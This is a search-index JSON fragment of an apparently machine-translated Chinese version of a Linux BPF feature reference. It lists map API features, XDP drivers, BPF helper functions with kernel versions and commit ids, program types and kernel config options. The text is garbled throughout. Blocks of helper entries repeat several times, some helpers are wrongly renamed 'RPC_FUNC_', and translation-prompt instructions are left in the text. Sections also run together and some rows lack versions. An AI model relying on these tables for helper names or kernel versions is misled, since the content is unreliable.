BPF_MAP_. The list of subcommands supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h Feature Kernel version Commit Basic operations (lookup, update, delete, GET_NEXT_KEY) 3.18 db20fd2b0108 Pass flags to UPDATE_ELEM 3.19 3274f52073d8 Pre-alloc map memory by default 4.6 6c9059817432 传递NULL给GET_NEXT_KEY 创建: 选择NUMA节点 4.14 96eabe7a40aa 限制从系统调用方面的访问 4.15 6e71b04a8224 创建: 指定映射名称 4.15 ad5b177bd73f LOOKUP_AND_DELETE_ELEM 4.20 bd513cd08f10 创建: BPF_F_ZERO_SEED 5.0 96b3b6c9091d 查找/更新的BPF_F_LOCK标志 5.1 96049f3afd50 限制从BPF方面的访问 5.2 591fe9888d78 FREEZE 5.2 87df15de441b 数组映射的mmap()支持 5.5 fc9702273e2e LOOKUP_BATCH 5.6 cb4d03ab499d UPDATE_BATCH, DELETE_BATCH 5.6 aa2e93b8e58e LOOKUP_AND_DELETE_BATCH 5.6 057996380a42 LOOKUP_AND_DELETE_ELEM哈希映射的支持 5.14 3e87f192b405","breadcrumbs":"BPF Features by Linux Kernel Version » Map userspace API","id":"232","title":"Map userspace API"},"233":{"body":"您的内核支持XDP程序的驱动程序或组件的近似列表可以用以下命令检索: ```sh````git grep -l XDP_SETUP_PROG drivers/ 功能/驱动 内核版本 提交 XDP核心架构 4.8 6a773a15a1e8 操作：丢弃 4.8 6a773a15a1e8 操作：传递到堆栈 4.8 6a773a15a1e8 直接转发（同一端口） 4.8 6ce96ca348a9 直接数据包数据写入 4.8 4acf6c0b84c9 Mellanox mlx4驱动 4.8 47a38e155037 Mellanox mlx5驱动 4.9 86994156c736 Netronome nfp驱动 4.10 ecd63a0217d5 QLogic（Cavium）qed*驱动 4.10 496e05170958 virtio_net驱动 4.10 f600b6905015 Broadcom bnxt_en驱动 4.11 c6d30e8391b8 Intel ixgbe*驱动 4.12 924708081629 Cavium thunderx驱动 4.12 05c773f52b96 通用XDP 4.12 b5cdae3291f7 ` 注意： 本次翻译仅包括翻译部分，不包括原始文本。## 帮助者 您的内核支持的辅助者列表可在文件中找到。 Intel i40e 驱动程序 | 4.13 | 0c8493d90b6b 操作：重定向 | 4.14 | 6453073987ba 支持 tap | 4.14 | 761876c857cb 支持 veth | 4.14 | d445516966dc Intel ixgbevf 驱动程序 | 4.17 | c7aec59657b6 Freescale dpaa2 驱动程序 | 5.0 | 7e273a8ebdd3 Socionext netsec 驱动程序 | 5.3 | ba2b232108d3 TI cpsw 驱动程序 | 5.3 | 9ed4050c0d75 Intel ice 驱动程序 |5.5| efc2214b6047 Solarflare sfc 驱动程序 | 5.5 | eb9a36be7f3e Marvell mvneta 驱动程序 | 5.5 | 0db51da7a8e9 Microsoft hv_netvsc 驱动程序 | 5.6 | 351e1581395f Amazon ena 驱动程序 | 5.6 | 838c93dc5449 xen-netfront 驱动程序 | 5.9 | 6c5aa6fc4def Intel gi 驱动程序 | 5.10 | 9cbc948b5a20 include/uapi/linux/bpf.h: include/uapi/linux/bpf.h : git grep ' FN(' include/uapi/linux/bpf.h 按字母顺序排列 Helper 内核版本 授权许可 提交记录 BPF_FUNC_bind() 4.17 d74bad4e74ee BPF_FUNC_bprm_opts_set() 5.11 3f6719c7b62f BPF_FUNC_btf_find_by_name_kind() 5.14 3d78417b60fb BPF_FUNC_cgrp_storage_delete() 6.2 c4bcfb38a95e BPF_FUNC_cgrp_storage_get() 6.2 c4bcfb38a95e BPF_FUNC_check_mtu() 5.12 34b2021cc616 BPF_FUNC_clone_redirect() 4.2 3896d655f4d4 BPF_FUNC_copy_from_user() 5.10 07be4c4a3e7a BPF_FUNC_copy_from_user_task() 5.18 GPL 376040e47334 BPF_FUNC_csum_diff() 4.6 7d672345ed29 BPF_FUNC_csum_level() 5.7 7cdec54f9713 BPF_FUNC_csum_update() 4.9 36bbef52c7eb \"BPF_FUNC_current_task_under_cgroup() BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 BPF_FUNC_current_task_under_cgroup() 4.9 60d20f9195b2 BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 \".\"BPF_FUNC_get_current_comm() BPF_FUNC_get_current_pid_tgid() 4.2 ffeedafbf023 BPF_FUNC_get_current_task() 4.8 GPL 606274c5abd8 BPF_FUNC_get_current_task_btf() 5.11 GPL 3ca1032ab7ab BPF_FUNC_get_current_uid_gid() 4.2 ffeedafbf023 BPF_FUNC_get_func_arg() 5.17 f92c1e183604 BPF_FUNC_get_func_arg_cnt() 5.17 f92c1e183604 BPF_FUNC_get_func_ip() 5.15 5d8b583d04ae BPF_FUNC_get_func_ret() 5.17 f92c1e183604 BPF_FUNC_get_retval() 5.18 b44123b4a3dc BPF_FUNC_get_hash_recalc() 4.8 13c5c240f789 BPF_FUNC_get_listener_sock() 5.1 dbafd7ddd623 BPF_FUNC_get_local_storage() 4.19 cd3394317653 BPF_FUNC_get_netns_cookie() 5.7 f318903c0bf4 BPF_FUNC_get_ns_current_pid_tgid() BPF_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 BPF_FUNC_get_prandom_u32() 4.1 03e69b508b6f BPF_FUNC_get_route_realm() 4.4 c46646d0484f BPF_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 BPF_FUNC_get_socket_cookie() 4.12 91b8270f2a4d BPF_FUNC_get_socket_uid() 4.12 6acc5c291068 BPF_FUNC_get_stack() 4.18 GPL de2ff05f48af BPF_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 BPF_FUNC_get_task_stack() 5.9 fa28dcb82a38 BPF_FUNC_getsockopt() 4.15 cd86d1fd2102 BPF_FUNC_ima_file_hash() 5.18 174b16946e39 BPF_FUNC_ima_inode_hash() 5.11 27672f0d280a BPF_FUNC_inode_storage_delete() 5.10 8ea636848aca RPC_FUNC_get_ns_current_pid_tgid() 5.7 b4490c5c4e02 RPC_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 RPC_FUNC_get_prandom_u32() 4.1 03e69b508b6f RPC_FUNC_get_route_realm() 4.4 c46646d0484f RPC_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 RPC_FUNC_get_socket_cookie() 4.12 91b8270f2a4d RPC_FUNC_get_socket_uid() 4.12 6acc5c291068 RPC_FUNC_get_stack() 4.18 GPL de2ff05f48af RPC_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 RPC_FUNC_get_task_stack() 5.9 fa28dcb82a38 RPC_FUNC_getsockopt() 4.15 cd86d1fd2102 RPC_FUNC_ima_file_hash() 5.18 174b16946e39 RPC_FUNC_ima_inode_hash() 5.11 27672f0d280a RPC_FUNC_inode_storage_delete() 5.10 8ea636848aca \".\"BPF_FUNC_inode_storage_get() BPF_FUNC_jiffies64() 5.5 5576b991e9c1 BPF_FUNC_kallsyms_lookup_name() 5.16 d6aef08a872b BPF_FUNC_kptr_xchg() 5.19 c0a5a21c25f3 BPF_FUNC_ktime_get_boot_ns() 5.8 71d19214776e BPF_FUNC_ktime_get_coarse_ns() 5.11 d05512618056 BPF_FUNC_ktime_get_ns() 4.1 d9847d310ab4 BPF_FUNC_ktime_get_tai_ns() 6.1 c8996c98f703 BPF_FUNC_l3_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_l4_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_load_hdr_opt() 5.10 0813a841566f BPF_FUNC_loop() 5.17 e6f2dd0f8067 BPF_FUNC_lwt_push_encap() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_action() 4.18 fe94cc290f53 `BPF_FUNC_lwt_seg6_adjust_srh()` `BPF_FUNC_lwt_seg6_store_bytes()` 4.18 fe94cc290f53 `BPF_FUNC_map_delete_elem()` 3.19 d0003ec01c66 `BPF_FUNC_map_lookup_elem()` 3.19 d0003ec01c66 `BPF_FUNC_map_lookup_percpu_elem()` 5.19 07343110b293 `BPF_FUNC_map_peek_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_pop_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_push_elem()` 4.20 f1a2e44a3aec `BPF_FUNC_map_update_elem()` 3.19 d0003ec01c66 `BPF_FUNC_msg_apply_bytes()` 4.17 2a100317c9eb `BPF_FUNC_msg_cork_bytes()` 4.17 91843d540a13 `BPF_FUNC_msg_pop_data()` 5.0 7246d8ed4dcc `BPF_FUNC_msg_pull_data()` 4.17 015632bb30da `BPF_FUNC_msg_push_data()` 4.20 6fff607e2f14 \".BPF_FUNC_msg_redirect_hash() BPF_FUNC_msg_redirect_map() 4.17 4f738adba30a BPF_FUNC_per_cpu_ptr() 5.10 eaa6bcb71ef6 BPF_FUNC_perf_event_output() 4.4 GPL a43eec304259 BPF_FUNC_perf_event_read() 4.3 GPL 35578d798400 BPF_FUNC_perf_event_read_value() 4.15 GPL 908432ca84fc BPF_FUNC_perf_prog_read_value() 4.15 GPL 4bebdc7a85aa BPF_FUNC_probe_read() 4.1 GPL 2541517c32be BPF_FUNC_probe_read_kernel() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_kernel_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_str() 4.11 GPL a5e8c07059d0 BPF_FUNC_probe_write_user() 4.8 GPL 96ae52279594 \"BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() 5.0 GPL 01d3240a04f4 BPF_FUNC_rc_repeat() 4.18 GPL f4364dcfc86d BPF_FUNC_read_branch_records() 5.6 GPL fff7b64355ea BPF_FUNC_redirect() 4.4 27b29f63058d BPF_FUNC_redirect_map() 4.14 97f91a7cf04f BPF_FUNC_redirect_neigh() 5.10 b4ab31414970 BPF_FUNC_redirect_peer() 5.10 9aa1206e8f48 BPF_FUNC_reserve_hdr_opt() 5.10 0813a841566f BPF_FUNC_ringbuf_discard() 5.8 457f44363a88 BPF_FUNC_ringbuf_discard_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_output() 5.8 457f44363a88 BPF_FUNC_ringbuf_query() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_ringbuf_reserve_dynptr() BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d \".\"BPF_FUNC_sk_cgroup_id() BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 BPF_FUNC_sk_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 。\"BPF_FUNC_skb_change_tail()` BPF_FUNC_skb_change_type() 4.8 d2485c4242a8 BPF_FUNC_skb_cgroup_classid() 5.10 b426ce83baa7 BPF_FUNC_skb_cgroup_id() 4.18 cb20b08ead40 BPF_FUNC_skb_ecn_set_ce() 5.1 f7c917ba11a6 BPF_FUNC_skb_get_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_get_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_get_xfrm_state() 4.18 12bed760a78d BPF_FUNC_skb_load_bytes() 4.5 05c74e5e53f6 BPF_FUNC_skb_load_bytes_relative() 4.18 4e1ec56cdc59 BPF_FUNC_skb_output() 5.5 a7658e1a4164 BPF_FUNC_skb_pull_data() 4.9 36bbef52c7eb BPF_FUNC_skb_set_tstamp() 5.18 9bb984f28d5b BPF_FUNC_skb_set_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_set_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_store_bytes() 4.1 91bc4822c3d6 BPF_FUNC_skb_under_cgroup() 4.8 4a482f34afcc BPF_FUNC_skb_vlan_pop() 4.3 4e10df9a60d9 BPF_FUNC_skb_vlan_push() 4.3 4e10df9a60d9 BPF_FUNC_skc_lookup_tcp() 5.2 edbf8c01de5a BPF_FUNC_skc_to_mctcp_sock() 5.19 3bc253c2e652 BPF_FUNC_skc_to_tcp_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_request_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_timewait_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp6_sock() 5.9 af7ec1383361 BPF_FUNC_skc_to_udp6_sock() 5.9 0d4fad3e57df BPF_FUNC_skc_to_unix_sock() 5.16 9eeb3aa33ae0 BPF_FUNC_snprintf() 5.13 7b15523a989b \".\"BPF_FUNC_snprintf_btf() BPF_FUNC_sock_from_file() 5.11 4f19cab76136 BPF_FUNC_sock_hash_update() 4.18 81110384441a BPF_FUNC_sock_map_update() 4.14 174a79ff9515 BPF_FUNC_spin_lock() 5.1 d83525ca62cf BPF_FUNC_spin_unlock() 5.1 d83525ca62cf BPF_FUNC_store_hdr_opt() 5.10 0813a841566f BPF_FUNC_strncmp() 5.17 c5fb19937455 BPF_FUNC_strtol() 5.2 d7a4cb9b6705 BPF_FUNC_strtoul() 5.2 d7a4cb9b6705 BPF_FUNC_sys_bpf() 5.14 79a7f8bdb159 BPF_FUNC_sys_close() 5.14 3abea089246f BPF_FUNC_sysctl_get_current_value() 5.2 1d11b3016cec BPF_FUNC_sysctl_get_name() 5.2 808649fb787d \". 格式：只返回翻译后的内容，不包括原文。BPF_FUNC_sysctl_get_new_value()| 5.2| | 4e63acdff864 BPF_FUNC_sysctl_set_new_value()|5.2| | 4e63acdff864 BPF_FUNC_tail_call()|4.2| | 04fd61ab36ec BPF_FUNC_task_pt_regs()|5.15| GPL | dd6e10fbd9f BPF_FUNC_task_storage_delete()|5.11| | 4cf1bc1f1045 BPF_FUNC_task_storage_get()|5.11| | 4cf1bc1f1045 BPF_FUNC_tcp_check_syncookie()|5.2| | 399040847084 BPF_FUNC_tcp_gen_syncookie()|5.3| | 70d66244317e BPF_FUNC_tcp_raw_check_syncookie_ipv4()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_check_syncookie_ipv6()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv4()|6.0| | 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv6()|6.0| | 33bf9885040c BPF_FUNC_tcp_send_ack()|5.5 | | 206057fe020a BPF_FUNC_tcp_sock() 5.1 655a51e536c0 BPF_FUNC_this_cpu_ptr() 5.10 63d9b80dcf2c BPF_FUNC_timer_init() 5.15 b00628b1c7d5 BPF_FUNC_timer_set_callback() 5.15 b00628b1c7d5 BPF_FUNC_timer_start() 5.15 b00628b1c7d5 BPF_FUNC_timer_cancel() 5.15 b00628b1c7d5 BPF_FUNC_trace_printk() 4.1 GPL 9c959c863f82 BPF_FUNC_trace_vprintk() 5.16 GPL 10aceb629e19 BPF_FUNC_user_ringbuf_drain() 6.1 205715673844 BPF_FUNC_xdp_adjust_head() 4.10 17bedab27231 BPF_FUNC_xdp_adjust_meta() 4.15 de8f3a83b0a0 BPF_FUNC_xdp_adjust_tail() 4.18 b32cc5b9a346 BPF_FUNC_xdp_get_buff_len() 5.18 0165cc817075 BPF_FUNC_xdp_load_bytes() 5.18 3f364222d032 \"BPF_FUNC_xdp_store_bytes() BPF_FUNC_xdp_output() 5.6 GPL d831ee84bfc9 BPF_FUNC_override_return() 4.16 GPL 9802d86585db BPF_FUNC_sock_ops_cb_flags_set() 4.16 b13d88072172 注：仅GPL兼容的BPF助手需要GPL兼容的许可证。内核所认可的当前GPL兼容许可证有： GPL GPL v2 GPL和其他权利 双BSD/GPL 双MIT/GPL 双MPL/GPL 在您的 内核源代码 中查看GPL兼容许可证的列表。","breadcrumbs":"BPF Features by Linux Kernel Version » XDP","id":"233","title":"XDP"},"234":{"body":"可以使用以下命令获取程序类型和支持的辅助函数列表： git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ 程序类型 辅助函数 BPF_PROG_TYPE_SOCKET_FILTER BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_perf_event_output() 基础函数 BPF_PROG_TYPE_KPROBE BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_event_read_value() BPF_FUNC_override_return() 跟踪函数 BPF_PROG_TYPE_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_d_path() 跟踪函数 BPF_PROG_TYPE_XDP BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_csum_diff() BPF_FUNC_xdp_adjust_head() BPF_FUNC_xdp_adjust_meta() BPF_FUNC_redirect() BPF_FUNC_redirect_map() BPF_FUNC_xdp_adjust_tail() BPF_FUNC_fib_lookup() 基础函数 BPF_PROG_TYPE_PERF_EVENT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_prog_read_value() 跟踪函数 BPF_PROG_TYPE_CGROUP_SOCK | BPF_FUNC_get_current_uid_gid() 基本功能 BPF_PROG_TYPE_LWT_IN | BPF_FUNC_lwt_push_encap() LWT功能 基本功能 BPF_PROG_TYPE_LWT_OUT LWT功能 基本功能 BPF_PROG_TYPE_LWT_XMIT | BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_clone_redirect() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_skb_store_bytes() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_set_hash_invalid() LWT功能 BPF_PROG_TYPE_SOCK_OPS | BPF_FUNC_setsockopt() BPF_FUNC_getsockopt() BPF_FUNC_sock_ops_cb_flags_set() BPF_FUNC_sock_map_update() BPF_FUNC_sock_hash_update() BPF_FUNC_get_socket_cookie() 基本功能 BPF_PROG_TYPE_SK_SKB | BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_sk_redirect_map() BPF_FUNC_sk_redirect_hash() BPF_FUNC_sk_lookup_tcp() BPF_FUNC_sk_lookup_udp() BPF_FUNC_sk_release() 基本功能 BPF_PROG_TYPE_CGROUP_DEVICE | BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_get_current_uid_gid() BPF_FUNC_trace_printk() BPF_PROG_TYPE_RAW_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_skb_output() 跟踪功能 BPF_PROG_TYPE_CGROUP_SOCK_ADDR BPF_FUNC_get_current_uid_gid() BPF_FUNC_bind() BPF_FUNC_get_socket_cookie() 基本功能 BPF_PROG_TYPE_LWT_SEG6LOCAL BPF_FUNC_lwt_seg6_store_bytes() BPF_FUNC_lwt_seg6_action() BPF_FUNC_lwt_seg6_adjust_srh() LWT功能 BPF_PROG_TYPE_LIRC_MODE2 BPF_FUNC_rc_repeat() BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_prandom_u32() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_REUSEPORT BPF_FUNC_sk_select_reuseport() BPF_FUNC_skb_load_bytes() BPF_FUNC_load_bytes_relative() 基本功能 BPF_PROG_TYPE_FLOW_DISSECTOR BPF_FUNC_skb_load_bytes() 基本功能 功能组 功能 基本功能 BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_map_peek_elem() BPF_FUNC_map_pop_elem() BPF_FUNC_map_push_elem() BPF_FUNC_get_prandom_u32() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_tail_call() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_trace_printk() BPF_FUNC_spin_lock() BPF_FUNC_spin_unlock() LWT函数 BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_get_cgroup_classid() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup()","breadcrumbs":"BPF Features by Linux Kernel Version » 程序类型","id":"234","title":"程序类型"},"235":{"body":"","breadcrumbs":"Kernel Configuration for BPF Features » BPF 特性的内核配置","id":"235","title":"BPF 特性的内核配置"},"236":{"body":"功能 内核配置 描述 基础 CONFIG_BPF_SYSCALL 启用 bpf() 系统调用 CONFIG_BPF_JIT BPF 程序通常由 BPF 解释器处理。此选项允许内核在加载程序时生成本地代码。这将显著加速 BPF 程序的处理 CONFIG_HAVE_BPF_JIT 启用 BPF 即时编译器 CONFIG_HAVE_EBPF_JIT 扩展 BPF JIT (eBPF) CONFIG_HAVE_CBPF_JIT 经典 BPF JIT (cBPF) CONFIG_MODULES 启用可加载内核模块的构建 CONFIG_BPF BPF VM 解释器 CONFIG_BPF_EVENTS 允许用户将 BPF 程序附加到 kprobe、uprobe 和 tracepoint 事件上 CONFIG_PERF_EVENTS 内核性能事件和计数器 CONFIG_HAVE_PERF_EVENTS 启用性能事件 CONFIG_PROFILING 启用分析器使用的扩展分析支持机制 BTF CONFIG_DEBUG_INFO_BTF 从 DWARF 调试信息生成去重的 BTF 类型信息 CONFIG_PAHOLE_HAS_SPLIT_BTF 为每个选定的内核模块生成 BTF CONFIG_DEBUG_INFO_BTF_MODULES 为内核模块生成紧凑的分割 BTF 类型信息 安全 CONFIG_BPF_JIT_ALWAYS_ON 启用 BPF JIT 并删除 BPF 解释器以避免猜测执行 CONFIG_BPF_UNPRIV_DEFAULT_OFF 通过设置默认禁用非特权 BPF Cgroup CONFIG_CGROUP_BPF 支持将 BPF 程序附加到 cgroup 上 网络 CONFIG_BPFILTER 基于 BPF 的数据包过滤框架 (BPFILTER) CONFIG_BPFILTER_UMH 使用内嵌的用户模式助手构建 bpfilter 内核模块 CONFIG_NET_CLS_BPF 基于可编程 BPF (JIT'ed) 过滤器进行数据包分类的基于 BPF 的分类器的替代方法 CONFIG_BPF_STREAM_PARSER 启用此功能，允许使用BPF_MAP_TYPE_SOCKMAP与TCP流解析器配合使用 CONFIG_LWTUNNEL_BPF 在路由查找入站和出站数据包后，允许作为下一跳操作运行BPF程序 CONFIG_NETFILTER_XT_MATCH_BPF BPF匹配将对每个数据包应用Linux套接字过滤器，并接受过滤器返回非零值的数据包 CONFIG_IPV6_SEG6_BPF 为支持BPF seg6local挂钩，添加IPv6 Segement Routing助手 参考 kprobes CONFIG_KPROBE_EVENTS 允许用户通过ftrace接口动态添加跟踪事件（类似于tracepoints） CONFIG_KPROBES 启用基于kprobes的动态事件 CONFIG_HAVE_KPROBES 检查是否启用了kprobes CONFIG_HAVE_REGS_AND_STACK_ACCESS_API 如果架构支持从pt_regs访问寄存器和堆栈条目所需的API，则应该选择此符号。例如，基于kprobes的事件跟踪器需要此API CONFIG_KPROBES_ON_FTRACE 如果架构支持将pt_regs完全传递给函数跟踪，则在函数跟踪器上有kprobes kprobe multi CONFIG_FPROBE 启用fprobe以一次性在多个函数上附加探测点 kprobe override CONFIG_BPF_KPROBE_OVERRIDE 启用BPF程序覆盖kprobed函数 uprobes CONFIG_UPROBE_EVENTS 启用基于uprobes的动态事件 CONFIG_ARCH_SUPPORTS_UPROBES 架构特定的uprobes支持 CONFIG_UPROBES Uprobes是kprobes的用户空间对应项：它们允许仪器应用程序（如'perf probe'）在用户空间二进制文件和库中建立非侵入性探测点，并在用户空间应用程序触发探测点时执行处理函数。 